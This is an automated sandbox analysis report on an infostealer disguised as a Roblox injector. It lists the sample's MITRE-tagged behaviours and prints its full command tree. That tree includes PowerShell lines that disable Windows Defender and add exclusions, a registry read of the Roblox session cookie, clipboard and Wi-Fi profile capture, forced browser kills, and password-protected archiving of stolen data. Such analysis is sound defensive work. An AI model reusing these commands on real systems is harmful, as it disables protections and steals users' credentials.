b2eeac12dcd385e1b91eda960caf741ac185fe6ef0e370f39cfea650c8e90118

Analysis

max time kernel
37s
max time network
35s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
24-07-2024 11:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Disporia/Disporia Injector.exe
Size

8.0MB
MD5

6d2ccd485fdebb72bc2c41f091537051
SHA1

d19b33908567baff6906de878dbd4d973458dbd0
SHA256

bfe00508bcda264ff9218dba1178e356c675a3dddcabfb9da0df8721e16ad261
SHA512

8db1ac7749af567c982493db5028e26817d5995ec1842ba892b8b2b19c2f3e2ca3500ca06e9dcfb828d429f3071662d5dbc102164c507ea1a4c0eacaf41fce08
SSDEEP

98304:FoRoh8FwjzD92BpzIvkK8MMhJMjargKaJObO/OH9KkqxzGW1PgeDbXrqa9LAJdPN:Foih8FwjErzIkB6yM+KriWuAJ9sjPoQ

Score

9^/10

collection credential_access discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2704	powershell.exe
5104	powershell.exe
4952	powershell.exe
2416	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

Disporia Injector.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Disporia Injector.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

Processes:

cmd.exepowershell.exe

pid	Process
712	cmd.exe
4208	powershell.exe

Executes dropped EXE 2 IoCs

Processes:

Camera.exerar.exe

pid	Process
3856	Camera.exe
4492	rar.exe

Loads dropped DLL 20 IoCs

Processes:

Disporia Injector.exe

pid	Process
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe
2104	Disporia Injector.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral3/files/0x000700000002350e-67.dat	upx
behavioral3/memory/2104-71-0x00007FFABD320000-0x00007FFABD786000-memory.dmp	upx
behavioral3/files/0x00070000000234dd-75.dat	upx
behavioral3/files/0x0007000000023512-74.dat	upx
behavioral3/memory/2104-78-0x00007FFAD0570000-0x00007FFAD0594000-memory.dmp	upx
behavioral3/files/0x000700000002350c-80.dat	upx
behavioral3/memory/2104-77-0x00007FFAD2410000-0x00007FFAD2420000-memory.dmp	upx
behavioral3/files/0x00070000000234e0-81.dat	upx
behavioral3/memory/2104-82-0x00007FFAD2400000-0x00007FFAD240F000-memory.dmp	upx
behavioral3/memory/2104-84-0x00007FFAD0540000-0x00007FFAD056C000-memory.dmp	upx
behavioral3/files/0x00070000000234dc-85.dat	upx
behavioral3/files/0x00070000000234e3-87.dat	upx
behavioral3/memory/2104-90-0x00007FFAD2320000-0x00007FFAD2338000-memory.dmp	upx
behavioral3/memory/2104-91-0x00007FFAD0E80000-0x00007FFAD0E9F000-memory.dmp	upx
behavioral3/files/0x0007000000023511-89.dat	upx
behavioral3/memory/2104-93-0x00007FFABCD80000-0x00007FFABCEFD000-memory.dmp	upx
behavioral3/files/0x00070000000234e2-94.dat	upx
behavioral3/files/0x0007000000023510-96.dat	upx
behavioral3/memory/2104-99-0x00007FFAD04A0000-0x00007FFAD04AD000-memory.dmp	upx
behavioral3/memory/2104-98-0x00007FFAD0BB0000-0x00007FFAD0BC9000-memory.dmp	upx
behavioral3/files/0x00070000000234e4-100.dat	upx
behavioral3/files/0x000700000002350b-102.dat	upx
behavioral3/memory/2104-103-0x00007FFACCCB0000-0x00007FFACCCDE000-memory.dmp	upx
behavioral3/files/0x000700000002350d-104.dat	upx
behavioral3/memory/2104-109-0x00007FFABCFA0000-0x00007FFABD315000-memory.dmp	upx
behavioral3/memory/2104-108-0x00007FFACC950000-0x00007FFACCA08000-memory.dmp	upx
behavioral3/memory/2104-110-0x00007FFABD320000-0x00007FFABD786000-memory.dmp	upx
behavioral3/files/0x00070000000234df-112.dat	upx
behavioral3/files/0x00070000000234e1-115.dat	upx
behavioral3/memory/2104-119-0x00007FFAD0490000-0x00007FFAD049D000-memory.dmp	upx
behavioral3/memory/2104-118-0x00007FFAD0570000-0x00007FFAD0594000-memory.dmp	upx
behavioral3/memory/2104-121-0x00007FFABCB20000-0x00007FFABCD72000-memory.dmp	upx
behavioral3/files/0x00070000000234d7-117.dat	upx
behavioral3/memory/2104-114-0x00007FFACC890000-0x00007FFACC8A5000-memory.dmp	upx
behavioral3/files/0x0007000000023514-124.dat	upx
behavioral3/memory/2104-126-0x00007FFABC690000-0x00007FFABC7A8000-memory.dmp	upx
behavioral3/memory/2104-203-0x00007FFAD0E80000-0x00007FFAD0E9F000-memory.dmp	upx
behavioral3/memory/2104-206-0x00007FFABCD80000-0x00007FFABCEFD000-memory.dmp	upx
behavioral3/memory/2104-241-0x00007FFAD0BB0000-0x00007FFAD0BC9000-memory.dmp	upx
behavioral3/memory/2104-315-0x00007FFABCFA0000-0x00007FFABD315000-memory.dmp	upx
behavioral3/memory/2104-319-0x00007FFABC690000-0x00007FFABC7A8000-memory.dmp	upx
behavioral3/memory/2104-330-0x00007FFACCCB0000-0x00007FFACCCDE000-memory.dmp	upx
behavioral3/memory/2104-329-0x00007FFAD04A0000-0x00007FFAD04AD000-memory.dmp	upx
behavioral3/memory/2104-328-0x00007FFAD0BB0000-0x00007FFAD0BC9000-memory.dmp	upx
behavioral3/memory/2104-327-0x00007FFABCD80000-0x00007FFABCEFD000-memory.dmp	upx
behavioral3/memory/2104-326-0x00007FFAD0E80000-0x00007FFAD0E9F000-memory.dmp	upx
behavioral3/memory/2104-325-0x00007FFAD2320000-0x00007FFAD2338000-memory.dmp	upx
behavioral3/memory/2104-324-0x00007FFAD0540000-0x00007FFAD056C000-memory.dmp	upx
behavioral3/memory/2104-323-0x00007FFAD2400000-0x00007FFAD240F000-memory.dmp	upx
behavioral3/memory/2104-322-0x00007FFAD2410000-0x00007FFAD2420000-memory.dmp	upx
behavioral3/memory/2104-321-0x00007FFAD0570000-0x00007FFAD0594000-memory.dmp	upx
behavioral3/memory/2104-320-0x00007FFABD320000-0x00007FFABD786000-memory.dmp	upx
behavioral3/memory/2104-318-0x00007FFABCB20000-0x00007FFABCD72000-memory.dmp	upx
behavioral3/memory/2104-317-0x00007FFAD0490000-0x00007FFAD049D000-memory.dmp	upx
behavioral3/memory/2104-316-0x00007FFACC890000-0x00007FFACC8A5000-memory.dmp	upx
behavioral3/memory/2104-314-0x00007FFACC950000-0x00007FFACCA08000-memory.dmp	upx

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

Processes:

tasklist.exe

pid	Process
2736	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Camera.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Camera.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

Processes:

cmd.exenetsh.exe

pid	Process
3608	cmd.exe
3296	netsh.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

Processes:

systeminfo.exe

pid	Process
1700	systeminfo.exe

Kills process with taskkill 6 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
3500	taskkill.exe
4764	taskkill.exe
5016	taskkill.exe
4552	taskkill.exe
1624	taskkill.exe
1252	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
5012	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2416	powershell.exe
4952	powershell.exe
4952	powershell.exe
2704	powershell.exe
2704	powershell.exe
2416	powershell.exe
2416	powershell.exe
5104	powershell.exe
5104	powershell.exe
2704	powershell.exe
2704	powershell.exe
4952	powershell.exe
4952	powershell.exe
4208	powershell.exe
4208	powershell.exe
5104	powershell.exe
4208	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

Processes:

powershell.exepowershell.exepowershell.exeWMIC.exepowershell.exetasklist.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe
Token: SeSecurityPrivilege	3784	WMIC.exe
Token: SeTakeOwnershipPrivilege	3784	WMIC.exe
Token: SeLoadDriverPrivilege	3784	WMIC.exe
Token: SeSystemProfilePrivilege	3784	WMIC.exe
Token: SeSystemtimePrivilege	3784	WMIC.exe
Token: SeProfSingleProcessPrivilege	3784	WMIC.exe
Token: SeIncBasePriorityPrivilege	3784	WMIC.exe
Token: SeCreatePagefilePrivilege	3784	WMIC.exe
Token: SeBackupPrivilege	3784	WMIC.exe
Token: SeRestorePrivilege	3784	WMIC.exe
Token: SeShutdownPrivilege	3784	WMIC.exe
Token: SeDebugPrivilege	3784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3784	WMIC.exe
Token: SeRemoteShutdownPrivilege	3784	WMIC.exe
Token: SeUndockPrivilege	3784	WMIC.exe
Token: SeManageVolumePrivilege	3784	WMIC.exe
Token: 33	3784	WMIC.exe
Token: 34	3784	WMIC.exe
Token: 35	3784	WMIC.exe
Token: 36	3784	WMIC.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	2736	tasklist.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe
Token: SeSecurityPrivilege	3784	WMIC.exe
Token: SeTakeOwnershipPrivilege	3784	WMIC.exe
Token: SeLoadDriverPrivilege	3784	WMIC.exe
Token: SeSystemProfilePrivilege	3784	WMIC.exe
Token: SeSystemtimePrivilege	3784	WMIC.exe
Token: SeProfSingleProcessPrivilege	3784	WMIC.exe
Token: SeIncBasePriorityPrivilege	3784	WMIC.exe
Token: SeCreatePagefilePrivilege	3784	WMIC.exe
Token: SeBackupPrivilege	3784	WMIC.exe
Token: SeRestorePrivilege	3784	WMIC.exe
Token: SeShutdownPrivilege	3784	WMIC.exe
Token: SeDebugPrivilege	3784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3784	WMIC.exe
Token: SeRemoteShutdownPrivilege	3784	WMIC.exe
Token: SeUndockPrivilege	3784	WMIC.exe
Token: SeManageVolumePrivilege	3784	WMIC.exe
Token: 33	3784	WMIC.exe
Token: 34	3784	WMIC.exe
Token: 35	3784	WMIC.exe
Token: 36	3784	WMIC.exe
Token: SeDebugPrivilege	4552	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	1624	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeDebugPrivilege	4764	taskkill.exe
Token: SeDebugPrivilege	712	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Disporia Injector.exeDisporia Injector.execmd.exenet.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 2840 wrote to memory of 2104	2840	Disporia Injector.exe	84
PID 2840 wrote to memory of 2104	2840	Disporia Injector.exe	84
PID 2104 wrote to memory of 1840	2104	Disporia Injector.exe	88
PID 2104 wrote to memory of 1840	2104	Disporia Injector.exe	88
PID 1840 wrote to memory of 3316	1840	cmd.exe	90
PID 1840 wrote to memory of 3316	1840	cmd.exe	90
PID 3316 wrote to memory of 3968	3316	net.exe	91
PID 3316 wrote to memory of 3968	3316	net.exe	91
PID 2104 wrote to memory of 4652	2104	Disporia Injector.exe	92
PID 2104 wrote to memory of 4652	2104	Disporia Injector.exe	92
PID 2104 wrote to memory of 1144	2104	Disporia Injector.exe	93
PID 2104 wrote to memory of 1144	2104	Disporia Injector.exe	93
PID 2104 wrote to memory of 3048	2104	Disporia Injector.exe	94
PID 2104 wrote to memory of 3048	2104	Disporia Injector.exe	94
PID 2104 wrote to memory of 1536	2104	Disporia Injector.exe	98
PID 2104 wrote to memory of 1536	2104	Disporia Injector.exe	98
PID 4652 wrote to memory of 4952	4652	cmd.exe	100
PID 4652 wrote to memory of 4952	4652	cmd.exe	100
PID 3048 wrote to memory of 2792	3048	cmd.exe	101
PID 3048 wrote to memory of 2792	3048	cmd.exe	101
PID 1536 wrote to memory of 2416	1536	cmd.exe	102
PID 1536 wrote to memory of 2416	1536	cmd.exe	102
PID 1144 wrote to memory of 2704	1144	cmd.exe	103
PID 1144 wrote to memory of 2704	1144	cmd.exe	103
PID 2104 wrote to memory of 184	2104	Disporia Injector.exe	142
PID 2104 wrote to memory of 184	2104	Disporia Injector.exe	142
PID 2104 wrote to memory of 628	2104	Disporia Injector.exe	106
PID 2104 wrote to memory of 628	2104	Disporia Injector.exe	106
PID 2104 wrote to memory of 1964	2104	Disporia Injector.exe	109
PID 2104 wrote to memory of 1964	2104	Disporia Injector.exe	109
PID 2104 wrote to memory of 712	2104	Disporia Injector.exe	176
PID 2104 wrote to memory of 712	2104	Disporia Injector.exe	176
PID 184 wrote to memory of 5012	184	cmd.exe	110
PID 184 wrote to memory of 5012	184	cmd.exe	110
PID 2104 wrote to memory of 1484	2104	Disporia Injector.exe	113
PID 2104 wrote to memory of 1484	2104	Disporia Injector.exe	113
PID 2104 wrote to memory of 1064	2104	Disporia Injector.exe	115
PID 2104 wrote to memory of 1064	2104	Disporia Injector.exe	115
PID 2104 wrote to memory of 3608	2104	Disporia Injector.exe	116
PID 2104 wrote to memory of 3608	2104	Disporia Injector.exe	116
PID 2104 wrote to memory of 2180	2104	Disporia Injector.exe	117
PID 2104 wrote to memory of 2180	2104	Disporia Injector.exe	117
PID 2104 wrote to memory of 2628	2104	Disporia Injector.exe	154
PID 2104 wrote to memory of 2628	2104	Disporia Injector.exe	154
PID 628 wrote to memory of 3784	628	cmd.exe	159
PID 628 wrote to memory of 3784	628	cmd.exe	159
PID 712 wrote to memory of 4208	712	cmd.exe	124
PID 712 wrote to memory of 4208	712	cmd.exe	124
PID 1964 wrote to memory of 5104	1964	cmd.exe	125
PID 1964 wrote to memory of 5104	1964	cmd.exe	125
PID 1484 wrote to memory of 2736	1484	cmd.exe	126
PID 1484 wrote to memory of 2736	1484	cmd.exe	126
PID 2104 wrote to memory of 1436	2104	Disporia Injector.exe	127
PID 2104 wrote to memory of 1436	2104	Disporia Injector.exe	127
PID 2104 wrote to memory of 1544	2104	Disporia Injector.exe	129
PID 2104 wrote to memory of 1544	2104	Disporia Injector.exe	129
PID 1064 wrote to memory of 1252	1064	cmd.exe	171
PID 1064 wrote to memory of 1252	1064	cmd.exe	171
PID 2628 wrote to memory of 1820	2628	cmd.exe	132
PID 2628 wrote to memory of 1820	2628	cmd.exe	132
PID 2180 wrote to memory of 1700	2180	cmd.exe	133
PID 2180 wrote to memory of 1700	2180	cmd.exe	133
PID 1436 wrote to memory of 1928	1436	cmd.exe	134
PID 1436 wrote to memory of 1928	1436	cmd.exe	134

C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe
"C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe
  "C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3316
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disporia cannot run if Roblox is not installed. If this issue persists, please try again, or contact support. Пожалуйста, убедитесь, что роблокс установлен', 0, 'roblox.exe not found', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disporia cannot run if Roblox is not installed. If this issue persists, please try again, or contact support. Пожалуйста, убедитесь, что роблокс установлен', 0, 'roblox.exe not found', 0+16);close()"
      4⤵
      PID:2792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:184
  - - C:\Windows\system32\reg.exe
      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
      4⤵
      Modifies registry key
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3608
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon
      4⤵
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1928
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "Camera.exe /devlist"
    3⤵
    PID:1544
  - - C:\Users\Admin\AppData\Local\Temp\_MEI28402\Camera.exe
      Camera.exe /devlist
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4956
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:864
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:184
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1044
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2140
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
    3⤵
    PID:1440
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM firefox.exe"
    3⤵
    PID:3344
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM msedge.exe"
    3⤵
    PID:4348
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM safari.exe"
    3⤵
    PID:2628
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3784
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM safari.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM opera.exe"
    3⤵
    PID:2236
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM iexplore.exe"
    3⤵
    PID:2332
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM iexplore.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2424
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4132
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28402\rar.exe a -r -hpblank "C:\Users\Admin\AppData\Local\Temp\VO2RV.zip" *"
    3⤵
    PID:4564
  - - C:\Users\Admin\AppData\Local\Temp\_MEI28402\rar.exe
